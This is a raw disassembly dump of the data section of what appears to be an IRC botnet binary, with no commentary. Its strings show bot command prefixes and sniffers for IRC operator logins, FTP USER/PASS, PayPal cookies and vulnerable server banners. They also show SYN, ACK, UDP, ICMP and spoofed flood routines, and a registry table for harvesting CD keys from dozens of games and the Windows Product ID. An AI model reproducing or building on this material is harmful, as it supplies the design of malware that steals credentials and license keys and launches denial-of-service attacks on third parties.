dword_44BF94 dd 0 ; DATA XREF: sub_412A56+2B2r
aLogin_3 db ':,login',0
dd 4 dup(0)
aLogin_4 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_5 db ':$login',0
dd 4 dup(0)
aLogin_6 db ':%login',0
dd 4 dup(0)
aLogin_7 db ':^login',0
dd 4 dup(0)
aLogin_8 db ':&login',0
dd 4 dup(0)
aLogin_9 db ':*login',0
dd 4 dup(0)
aLogin_10 db ':-login',0
dd 4 dup(0)
aLogin_11 db ':+login',0
dd 4 dup(0)
aLogin_12 db ':/login',0
dd 4 dup(0)
aLogin_13 db ':\login',0
dd 4 dup(0)
aLogin_14 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_15 db ':',27h,'login',0
dd 4 dup(0)
aLogin_16 db ':`login',0
dd 4 dup(0)
aLogin_17 db ':~login',0
dd 4 dup(0)
aLogin_18 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 10h
dd 4 dup(0)
aAuth db ':,auth',0
align 4
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 10h
dd 4 dup(0)
a@auth db ':@auth',0
align 4
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 10h
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 4
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 10h
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 4
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 10h
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 4
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 10h
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 4
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 10h
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 4
dd 4 dup(0)
a?auth db ':?auth',0
align 10h
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 4
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 10h
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 4
dd 4 dup(0)
aAuth_14 db ': auth',0
align 10h
dd 4 dup(0)
a_id db ':.id',0
align 4
dd 4 dup(0)
aId_0 db ':,id',0
align 10h
dd 4 dup(0)
aId_1 db ':!id',0
align 4
dd 4 dup(0)
a@id db ':@id',0
align 10h
dd 4 dup(0)
aId_2 db ':$id',0
align 4
dd 4 dup(0)
aId_3 db ':%id',0
align 10h
dd 4 dup(0)
aId_4 db ':^id',0
align 4
dd 4 dup(0)
aId_5 db ':&id',0
align 10h
dd 4 dup(0)
aId_6 db ':*id',0
align 4
dd 4 dup(0)
aId_7 db ':-id',0
align 10h
dd 4 dup(0)
aId_8 db ':+id',0
align 4
dd 4 dup(0)
aId_9 db ':/id',0
align 10h
dd 4 dup(0)
aId_10 db ':\id',0
align 4
dd 4 dup(0)
aId_11 db ':=id',0
align 10h
dd 4 dup(0)
a?id db ':?id',0
align 4
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 10h
dd 4 dup(0)
aId_13 db ':`id',0
align 4
dd 4 dup(0)
aId_14 db ':~id',0
align 10h
dd 4 dup(0)
aId_15 db ': id',0
align 4
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 10h
aHashin_0 db ':!hashin',0
align 4
dd 3 dup(0)
aHashin_1 db ':$hashin',0
align 10h
aHashin_2 db ':%hashin',0
align 4
dd 3 dup(0)
a_secure db ':.secure',0
align 10h
aSecure_2 db ':!secure',0
align 4
dd 3 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 10h
dd 4 dup(0)
aSyn_2 db ':!syn',0
align 4
dd 4 dup(0)
aSyn_3 db ':$syn',0
align 10h
dd 4 dup(0)
aSyn_4 db ':%syn',0
align 4
dd 4 dup(0)
aCdkey db ' CDKey ',0
dd 4 dup(0)
aJoin_2 db 'JOIN #',0
align 4
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
dword_44C7D8 dd 544F42h ; DATA XREF: .data:off_44BF70o
dword_44C7DC dd 435249h ; DATA XREF: .data:0044BF74o
dword_44C7E0 dd 505446h ; DATA XREF: .data:0044BF78o
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0044BF7Co
align 4
; char asc_44C7EC[]
asc_44C7EC db '-' ; DATA XREF: sub_412A56+85o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
; char asc_44C818[]
asc_44C818 db '-' ; DATA XREF: sub_412A56+103o
db 3, 34h, 2
dd 696E7370h, 3026666h
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
; char asc_44C844[]
asc_44C844 db '-' ; DATA XREF: sub_412A56+186o
db 3, 34h, 2
dd 696E7370h, 3026666h
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
; char asc_44C874[]
asc_44C874 db '-' ; DATA XREF: sub_412A56+317o
db 3, 34h, 2
dd 696E7370h, 3026666h
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
; char aPsniff_0[]
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412A56+235o
align 4
; char asc_44C8AC[]
asc_44C8AC db '-' ; DATA XREF: sub_412A56+24Co
db 3, 34h, 2
dd 696E7370h, 3026666h, 2Dh
; char asc_44C8BC[]
asc_44C8BC db '-' ; DATA XREF: sub_412A56+2C6o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
; char aBotSniff[]
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412DE1+5o
align 4
; char aPsniff_1[]
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412DE1+2Bo
align 4
; char aPsniff_2[]
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412DE1+3Co
align 4
; char aJoin_1[]
aJoin_1 db 'JOIN #',0 ; DATA XREF: sub_412DE1+4Do
align 4
; char a302[]
a302 db '302 ',0 ; DATA XREF: sub_412DE1:loc_412E43o
align 4
; char a366[]
a366 db '366 ',0 ; DATA XREF: sub_412DE1+73o
align 4
; char a_login_0[]
a_login_0 db ':.login',0 ; DATA XREF: sub_412DE1+84o
; char aLogin_0[]
aLogin_0 db ':!login',0 ; DATA XREF: sub_412DE1+95o
; char aLogin_1[]
aLogin_1 db ':!Login',0 ; DATA XREF: sub_412DE1+A6o
; char a_login_1[]
a_login_1 db ':.Login',0 ; DATA XREF: sub_412DE1+B7o
; char a_ident[]
a_ident db ':.ident',0 ; DATA XREF: sub_412DE1+C8o
; char aIdent_0[]
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412DE1+D9o
; char a_hashin[]
a_hashin db ':.hashin',0 ; DATA XREF: sub_412DE1+EEo
align 4
; char aHashin[]
aHashin db ':!hashin',0 ; DATA XREF: sub_412DE1+103o
align 4
; char aIrcSniff[]
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412EF8+5o
align 10h
; char aOper[]
aOper db 'OPER ',0 ; DATA XREF: sub_412EF8+2Bo
align 4
; char aNick_2[]
aNick_2 db 'NICK ',0 ; DATA XREF: sub_412EF8:loc_412F38o
align 10h
; char aOper_0[]
aOper_0 db 'oper ',0 ; DATA XREF: sub_412EF8+51o
align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412EF8+62o
; char aFtpSniff[]
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412F6E+5o
align 10h
; char aNick_3[]
aNick_3 db 'NICK ',0 ; DATA XREF: sub_412F6E+2Bo
align 4
; char a220[]
a220 db '220 ',0 ; DATA XREF: sub_412F6E+3Co
align 10h
; char a230[]
a230 db '230 ',0 ; DATA XREF: sub_412F6E:loc_412FBFo
align 4
; char aUser_2[]
aUser_2 db 'USER ',0 ; DATA XREF: sub_412F6E+62o
align 10h
; char aPass_0[]
aPass_0 db 'PASS ',0 ; DATA XREF: sub_412F6E+73o
align 4
; char aHttpSniff[]
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412FF5+5o
align 4
; char aPaypal[]
aPaypal db 'paypal',0 ; DATA XREF: sub_412FF5+2Bo
align 4
; char aPaypal_0[]
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412FF5:loc_413035o
align 4
; char aPaypal_com[]
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412FF5+51o
align 10h
; char aPaypal_com_0[]
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412FF5+62o
align 4
; char aSetCookie[]
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412FF5+73o
; char aVulnSniff[]
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_41307C+5o
align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_41307C+2Bo
align 4
; char aServUFtpServer[]
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_41307C:loc_4130BCo
align 4
; char aOpenssh_2[]
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_41307C+51o
align 4
; char asc_44CA64[]
asc_44CA64 db '-' ; DATA XREF: sub_4130E1+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 10h
; char asc_44CA90[]
asc_44CA90 db '-' ; DATA XREF: sub_4130E1+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
; char aS_34[]
aS_34 db '%s',0 ; DATA XREF: sub_4130E1+228o
align 4
; char aS_35[]
aS_35 db '%s',0 ; DATA XREF: sub_4130E1+250o
align 4
unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_4130E1+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CAFC db 2Dh ; - ; DATA XREF: sub_4130E1+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CB30 db 2Dh ; - ; DATA XREF: sub_4130E1+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_44CB64[]
asc_44CB64 db '-' ; DATA XREF: sub_4130E1+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44CB9C db 2Dh ; - ; DATA XREF: sub_4130E1+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
; char asc_44CBD4[]
asc_44CBD4 db '-' ; DATA XREF: sub_4134D4+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
; char aDdos_syn_0[]
aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_413589+F1o
align 4
; char aDdos_ack_0[]
aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_413589:loc_413699o
align 4
; char aDdos_random_0[]
aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_413589:loc_4136B5o
; char asc_44CC20[]
asc_44CC20 db '-' ; DATA XREF: sub_413589+302o
db 3, 34h, 2
dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
dd 6425h
; char asc_44CC3C[]
asc_44CC3C db '-' ; DATA XREF: sub_41391E+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 4
; char asc_44CC68[]
asc_44CC68 db '-' ; DATA XREF: sub_41391E+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
; char asc_44CC98[]
asc_44CC98 db '-' ; DATA XREF: sub_41391E+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
; char asc_44CCB8[]
asc_44CCB8 db '-' ; DATA XREF: sub_41391E+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 10h
; char asc_44CD00[]
asc_44CD00 db '-' ; DATA XREF: sub_41391E+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
; char asc_44CD4C[]
asc_44CD4C db '-' ; DATA XREF: sub_413D05+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
; char asc_44CD74[]
asc_44CD74 db '-' ; DATA XREF: sub_413D05+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 10h
; char asc_44CDA0[]
asc_44CDA0 db '-' ; DATA XREF: sub_413E91+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
; char asc_44CDC8[]
asc_44CDC8 db '-' ; DATA XREF: sub_413E91+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 4
; char asc_44CDF4[]
asc_44CDF4 db '-' ; DATA XREF: sub_4140A7+4Bo
db 3, 34h, 2
dd 73796B73h, 3026E79h
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 10h
; char asc_44CE20[]
asc_44CE20 db '-' ; DATA XREF: sub_41424D+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
; char asc_44CE48[]
asc_44CE48 db '-' ; DATA XREF: sub_4142EC+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
; char asc_44CE68[]
asc_44CE68 db '-' ; DATA XREF: sub_4145F8+4Fo
db 3, 34h, 2
dd 67726174h, 3023361h
aDoneWithFlood_ db '- Done with flood.',0
align 4
; char asc_44CE88[]
asc_44CE88 db '-' ; DATA XREF: sub_4148B6+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
; char asc_44CEBC[]
asc_44CEBC db '-' ; DATA XREF: sub_4148B6+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
; char asc_44CEF4[]
asc_44CEF4 db '-' ; DATA XREF: sub_4148B6+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
; char aSyn_1[]
aSyn_1 db 'syn',0 ; DATA XREF: sub_4148B6+2D2o
; char aAck_0[]
aAck_0 db 'ack',0 ; DATA XREF: sub_4148B6+2F2o
; char aRandom_2[]
aRandom_2 db 'random',0 ; DATA XREF: sub_4148B6+312o
align 4
; char asc_44CF24[]
asc_44CF24 db '-' ; DATA XREF: sub_4148B6+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
; char asc_44CF74[]
asc_44CF74 db '-' ; DATA XREF: sub_4148B6+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
; char asc_44CFC4[]
asc_44CFC4 db '-' ; DATA XREF: sub_414E4C+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
; char aD_D_D_D_1[]
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414F04+C9o
; char asc_44D004[]
asc_44D004 db '-' ; DATA XREF: sub_41514F+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
; char asc_44D044[]
asc_44D044 db '-' ; DATA XREF: sub_4151C6+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
unk_44D070 db 2Dh ; - ; DATA XREF: sub_4151C6+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 10h
; char asc_44D0C0[]
asc_44D0C0 db '-' ; DATA XREF: sub_4151C6+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
; char asc_44D104[]
asc_44D104 db '-' ; DATA XREF: sub_4151C6+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
; char aD_D_D_D_2[]
aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_4151C6+180o
unk_44D13C db 2Dh ; - ; DATA XREF: sub_4151C6+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_44D1C8[]
asc_44D1C8 db '-' ; DATA XREF: sub_4151C6+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
; char asc_44D22C[]
asc_44D22C db '-' ; DATA XREF: sub_415512+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
; char asc_44D258[]
asc_44D258 db ' ',0 ; DATA XREF: sub_4156AF+1C5o
align 4
; char aSD[]
aSD db '%s%d ',0 ; DATA XREF: sub_4156AF+207o
align 4
dword_44D264 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415BC7+10o
; char aD_[]
aD_ db '%d. ' ; DATA XREF: sub_415BC7+35o
dd 73253403h, 203D2003h, 73253703h, 3
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415C3F+60o
align 10h
dword_44D2B0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .text:00415CFBo
dword_44D2BC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415D7C+20o
dword_44D2D0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415D7C:loc_415DB1o
dword_44D2E4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415DEF+3Fo
dd 676E6974h, 0
; char asc_44D300[]
asc_44D300 db '-' ; DATA XREF: sub_415DEF+DCo
db 3, 34h, 2
dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch
dd 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_415F1E+11o
aWindow db 'Window',0 ; DATA XREF: sub_416159+23o
align 4
aWindow_0 db 'Window',0 ; DATA XREF: sub_416352+26o
align 8
dd 80000001h
off_44D33C dd offset aSoftwareValveC ; DATA XREF: sub_416591+Cr
; sub_416591+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey_0 ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44D348 dd 2 dup(0) ; DATA XREF: sub_416591+26o
dd 80000001h
dd offset aSoftwareEugenS ; "Software\\Eugen Systems\\The Gladiators"
dd offset aRegnumber ; "RegNumber"
dd offset aTheGladiators ; "The Gladiators"
dd 2 dup(0)
dd 80000001h
dd offset aSoftwareValveG ; "Software\\Valve\\Gunman\\Settings"
dd offset aKey_0 ; "Key"
dd offset aGunmanChronicl ; "Gunman Chronicles"
align 10h
dd 80000001h
dd offset aSoftwareValveH ; "Software\\Valve\\Half-Life\\Settings"
dd offset aKey_1 ; "Key"
dd offset aHalfLife ; "Half-Life"
dd 2 dup(0)
dd 80000001h
dd offset aSoftwareJowood ; "Software\\JoWooD\\InstalledGames\\IG2"
dd offset aPrvkey ; "prvkey"
dd offset aIndustryGiant2 ; "Industry Giant 2"
align 10h
dd 80000001h
dd offset aSoftware3d0Sta ; "Software\\3d0\\Status"
dd offset aCustomernumber ; "CustomerNumber"
dd offset aLegendsOfMight ; "Legends of Might and Magic"
dd 2 dup(0)
dd 80000001h
dd offset aSoftwareSilver ; "Software\\Silver Style Entertainment\\Sol"...
dd offset aCdkey_1 ; "CDKey"
dd offset aSoldiersOfAnar ; "Soldiers Of Anarchy"
align 10h
dd 80000002h
dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd offset aProductid ; "ProductId"
dd offset aMicrosoftWindo ; "Microsoft Windows Product ID"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareUnreal ; "Software\\Unreal Technology\\Installed Ap"...
dd offset aCdkey_2 ; "CDKey"
dd offset aUnrealTourname ; "Unreal Tournament 2003"
align 10h
dd 80000002h
dd offset aSoftwareUnre_0 ; "Software\\Unreal Technology\\Installed Ap"...
dd offset aCdkey_3 ; "CDKey"
dd offset aUnrealTourna_0 ; "Unreal Tournament 2004"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareIgi2Re ; "Software\\IGI 2 Retail"
dd offset aCdkey_4 ; "CDKey"
dd offset aIgi2CovertStri ; "IGI 2: Covert Strike"
align 10h
dd 80000002h
dd offset aSoftwareElectr ; "Software\\Electronic Arts\\EA Distributio"...
dd offset dword_4EAD78
dd offset aFreedomForce ; "Freedom Force"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareElec_0 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
dd offset dword_4EAD7C
dd offset aBattlefield194 ; "Battlefield 1942"
align 10h
dd 80000002h
dd offset aSoftwareElec_1 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
dd offset dword_4EAD80
dd offset aBattlefield1_0 ; "Battlefield 1942 (Road To Rome)"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareElec_2 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
dd offset dword_4EAD84
dd offset aBattlefield1_1 ; "Battlefield 1942 (Secret Weapons of WWI"...
align 10h
dd 80000002h
dd offset aSoftwareElec_3 ; "Software\\Electronic Arts\\EA GAMES\\Battl"...
dd offset dword_4EAD88
dd offset aBattlefieldVie ; "Battlefield Vietnam"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareElec_4 ; "Software\\Electronic Arts\\EA GAMES\\Black"...
dd offset dword_4EAD8C
dd offset aBlackAndWhite ; "Black and White"
align 10h
dd 80000002h
dd offset aSoftwareElec_5 ; "Software\\Electronic Arts\\EA GAMES\\Comma"...
dd offset dword_4EAD90
dd offset aCommandAndConq ; "Command and Conquer: Generals (Zero Hou"...
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareElec_6 ; "Software\\Electronic Arts\\EA GAMES\\James"...
dd offset dword_4EAD94
dd offset aJamesBond007Ni ; "James Bond 007: Nightfire"
align 10h
dd 80000002h
dd offset aSoftwareElec_7 ; "Software\\Electronic Arts\\EA GAMES\\Gener"...
dd offset dword_4EAD98
dd offset aCommandAndCo_0 ; "Command and Conquer: Generals"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareElec_8 ; "Software\\Electronic Arts\\EA GAMES\\Globa"...
dd offset dword_4EAD9C
dd offset aGlobalOperatio ; "Global Operations"
align 10h
dd 80000002h
dd offset aSoftwareElec_9 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
dd offset dword_4EADA0
dd offset aMedalOfHonorAl ; "Medal of Honor: Allied Assault"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_10 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
dd offset dword_4EADA4
dd offset aMedalOfHonor_0 ; "Medal of Honor: Allied Assault: Breakth"...
align 10h
dd 80000002h
dd offset aSoftwareEle_11 ; "Software\\Electronic Arts\\EA GAMES\\Medal"...
dd offset dword_4EADA8
dd offset aMedalOfHonor_1 ; "Medal of Honor: Allied Assault: Spearhe"...
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_12 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
dd offset aErgc ; "ergc"
dd offset aNeedForSpeedHo ; "Need For Speed Hot Pursuit 2"
align 10h
dd 80000002h
dd offset aSoftwareEle_13 ; "Software\\Electronic Arts\\EA GAMES\\Need "...
dd offset dword_4EADAC
dd offset aNeedForSpeedUn ; "Need For Speed: Underground"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_14 ; "Software\\Electronic Arts\\EA GAMES\\Shogu"...
dd offset dword_4EADB0
dd offset aShogunTotalWar ; "Shogun: Total War: Warlord Edition"
align 10h
dd 80000002h
dd offset aSoftwareEle_15 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
dd offset dword_4EADB4
dd offset aFifa2002 ; "FIFA 2002"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_16 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
dd offset dword_4EADB8
dd offset aFifa2003 ; "FIFA 2003"
align 10h
dd 80000002h
dd offset aSoftwareEle_17 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
dd offset dword_4EADBC
dd offset aNhl2002 ; "NHL 2002"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_18 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
dd offset dword_4EADC0
dd offset aNhl2003 ; "NHL 2003"
align 10h
dd 80000002h
dd offset aSoftwareEle_19 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
dd offset dword_4EADC4
dd offset aNascarRacing20 ; "Nascar Racing 2002"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareEle_20 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
dd offset dword_4EADC8
dd offset aNascarRacing_0 ; "Nascar Racing 2003"
align 10h
dd 80000002h
dd offset aSoftwareRedSto ; "Software\\Red Storm Entertainment\\RAVENS"...
dd offset aCdkey_5 ; "CDKey"
dd offset aRainbowSixIiiR ; "Rainbow Six III RavenShield"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareWestwo ; "Software\\Westwood\\Tiberian Sun"
dd offset aSerial ; "Serial"
dd offset aCommandAndCo_1 ; "Command and Conquer: Tiberian Sun"
align 10h
dd 80000002h
dd offset aSoftwareWest_0 ; "Software\\Westwood\\Red Alert"
